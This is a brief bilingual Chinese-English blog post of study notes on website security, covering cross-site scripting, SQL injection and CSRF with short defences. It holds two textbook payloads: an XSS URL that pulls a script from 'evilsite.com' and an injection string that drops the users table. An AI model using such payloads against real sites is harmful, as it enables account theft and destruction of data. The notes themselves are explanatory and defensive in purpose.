网站安全

本文探讨了网站安全中的关键问题,包括跨站脚本攻击(XSS)、SQL注入和跨站请求伪造(CSRF)。介绍了每种攻击的工作原理及防范措施,如使用转义字符防止SQL注入,以及服务器要求POST请求包含特定的用户密钥来防御CSRF。

website security:thie act/practice of protecting websites from unauthorized access,use,modification,destruction,or disruption

1. Cross-Site Scripting(XSS)

攻击者通过网站将客户端脚本注入到其他用户的浏览器中
分为反射型(reflected)和持久型(persistent)
反射型
url中带有恶意脚本参数
http://mysite.com?q=beer<script%20src="http://evilsite.com/tricky.js"></script>
持久型
For example,a discussion board that accepts comments that contain unmodified HTML could store a malicious script from an attacker.When the comments are displayed, the script is executed and can send to the attacker the information required to access the user’s account.

2. SQL injection

比如

statement="select * from users where name='"+userName+"';"
//如果userName改为
SELECT * FROM users WHERE name = 'a';DROP TABLE users; SELECT * FROM userinfo WHERE 't' = 't';

把单引号转义,前面加反斜杠

3. Cross-Site Request Forgery(CSRF)

One way to prevent this type of attack is for the server to require that POSTrequests include a user-specific site-generated secret. The secret would be supplied by the server when sending the web form used to make transfers.

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值